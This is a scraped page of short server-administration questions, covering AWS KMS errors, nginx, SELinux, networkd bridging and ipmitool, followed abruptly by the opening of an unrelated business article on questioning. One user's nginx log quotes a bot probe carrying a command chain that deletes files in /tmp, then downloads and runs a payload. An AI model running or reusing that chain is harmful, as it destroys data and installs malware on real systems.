Latest Server related questions

Score: 1
"access to kms is not allowed" error returned when trying to fetch secret from AWS Secrets Manager
ae flag

An IAM user in our aws account is trying to fetch a particular secret from Secrets Manager via aws cli but they cannot do that although they should have required permissions:

aws secretsmanager get-secret-value --secret-id "config/my/secret"

This fails with error access to kms is not allowed. We use DefaultEncryptionKey for encrypting the secret and the key policy (managed by AWS) looks sensible to me:

Score: 0
Misc08 avatar
Can't connect container with bridge to the internet using networkd
pm flag

i have a server running Ubuntu 20.04 LTS connected through one physical ethernet interface to the internet. My prodiver assigned me a static primary IP4 (i will use A.A.A.A here for this IP), so my systemd-networkd config file looked like this before (disabled netplan to work directly with systemd-networkd):

# /etc/systemd/network/20-enp7s0.network
[Match]
Name=enp7s0

[Network]
LinkLocalAddressing ...
Score: 0
kwodzicki avatar
SELinux preventing mongod search access
cn flag

I noticed I am getting some SELinux errors when running mongod for the UniFi controller program. Namely, I am getting:

SELinux is preventing /usr/bin/mongod from search access on the directory /.

SELinux is preventing /usr/bin/mongod from search access on the directory /var/lib/nfs

SELinux is preventing /usr/bin/mongod from search access on the directory fs

SELinux is preventing /usr/bin/mongod  ...
Score: 0
Liam Montgomery avatar
Can't access EC2 on domain name, just on IP. Cname is correct, and can route this domain to lightsail server
hk flag

Thanks for taking the time. I have ported a lightsail instance over to EC2 and am running a t.2 larger server. I am running a wordpress site and the homepage is just a blank white page.

I have assigned the ec2 an eleastic IP and can access the wordpress server at this IP 52.27.6.201 But the domain, www.showstream.io is not available. Anyone have any ideas?

I can point the domain at the lightsail in ...

Score: 0
realtebo avatar
How to avoi nginx to redirect a POST to a GET
mu flag

I am see this in my log

"POST /openDoor HTTP/1.1" 301 169 "-" "PostmanRuntime/7.29.0"

"GET /openDoor/ HTTP/1.1" 200 113 "https:///openDoor" "PostmanRuntime/7.29.0"

I am doing a POST to /openDoor and I get a 301. why?

My nginx conf file is this

server {

    client_body_buffer_size 30M;
    client_max_body_size 30M;


    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_split_pat ...
Score: 0
andygozindy avatar
Nginx webserver access.log unusual $host
de flag
222.187.223.158 - - [17/Feb/2022:15:41:02 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 444 0 "-" "Hello, world" "http://127.0.0.1"
167.248.133.47 - - [17/Feb/2022:15:45:11 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xEF\xC512\xE3\xA4\x1D\xEF\xC4}bA!\x18\x08\xBC\x82X7\x12wuv\x1DD\x00\x8FYJ\xF8\xA6\x0E \x86N\xD1\xBB2z\xC7\xF5i\x96\xE6\xF5\xDB\xE3\x1F\xD5\x5C\xB1 ...
Score: 0
Mat avatar
Installation of Courier 1.0.6-1build2 fails on Ubuntu 20.04
gw flag
Mat

The installation of Courier 1.0.6-1build2 on Ubuntu 20.04 fails, although the courier-package is the one provided by the OS. The problem occurs in a post-installation script which leaves the package installed, but unconfigured and all dependent packages have issues.

The situation has been reported to Ubuntu (see https://bugs.launchpad.net/ubuntu/+source/courier/+bug/1877862), but apart from ›con ...

Score: 0
huzer1 avatar
rsyslog doesn't always insert hostname
er flag

%HOSTNAME% doesn't get injected inside of all logs that are received. They are coming from the same IP address and most of them get marked. However, some of them just don't get a host name in front of them. In this environment there's no DNS from the interface these logs are coming from. To deal with this, I've inserted the name and IP of the sender into the hosts file of the OS and this works most of t ...

Score: 0
Nigrimmist avatar
Nginx reverse proxy when port is already in use?
us flag

i am trying to close port with basic authentication (for pushgateway of prometheus), so not a big specialist in nginx, so could someone please give me and advice where i am is wrong?

I have 9091 port, that should be closed from outside in front of auth. This port is under use by pushgateway

My current nginx config :

events { }
http {
upstream prometheus {
      server 127.0.0.1:9090;
      keepalive 64;
 ...
Score: 0
MrPandav avatar
Redirecting traffic to a bridged ip and port using PF on MacOS
pk flag

I am trying to redirect localhost traffic on specific port to bridged network ip

I am using following

echo "
rdr pass inet proto tcp from any to any port 9300 -> 192.168.64.29 port 9300
rdr pass inet proto tcp from any to any port 3406 -> 192.168.64.29 port 3406
rdr pass inet proto tcp from any to any port 1234 -> 127.0.0.1 port 8000
" | sudo pfctl -ef -

it works fine for 1234 -> 8000

 ...

Score: 0
Disabling local host ipmitool access
in flag

On servers from most/many vendors, I am able to see potentially sensitive information using commands like:

ipmitool user list 1

or

ipmitool lan print 1

Or set new administrator users, all of which does not require authentication.

This is not necessarily something you would want if you give other users bare metal access. Is there a way to prevent a local host user from accessing/modifying the BMC settin ...

Score: 0
Installing docker-ce with ansible debops.docker_server role
cn flag

I'm trying to install docker-ce using the debops.docker_server role and can't quite get forward. The default seems to install docker.io which I can't use as I need very recent versions direct from docker inc.

- hosts: docker_nodes
  become: true
  collections: [ 'debops.debops', 'debops.roles01',
                 'debops.roles02', 'debops.roles03' ]

  environment: '{{ inventory__environment | d({} ...

The Stunning Power of Questions

Much of an executive’s workday is spent asking others for information—requesting status updates from a team leader, for example, or questioning a counterpart in a tense negotiation. Yet unlike professionals such as litigators, journalists, and doctors, who are taught how to ask questions as an essential part of their training, few executives think of questioning as a skill that can be honed—or consider how their own answers to questions could make conversations more productive.

That’s a missed opportunity. Questioning is a uniquely powerful tool for unlocking value in organizations: It spurs learning and the exchange of ideas, it fuels innovation and performance improvement, it builds rapport and trust among team members. And it can mitigate business risk by uncovering unforeseen pitfalls and hazards.

For some people, questioning comes easily. Their natural inquisitiveness, emotional intelligence, and ability to read people put the ideal question on the tip of their tongue. But most of us don’t ask enough questions, nor do we pose our inquiries in an optimal way.

The good news is that by asking questions, we naturally improve our emotional intelligence, which in turn makes us better questioners—a virtuous cycle. In this article, we draw on insights from behavioral science research to explore how the way we frame questions and choose to answer our counterparts can influence the outcome of conversations. We offer guidance for choosing the best type, tone, sequence, and framing of questions and for deciding what and how much information to share to reap the most benefit from our interactions, not just for ourselves but for our organizations.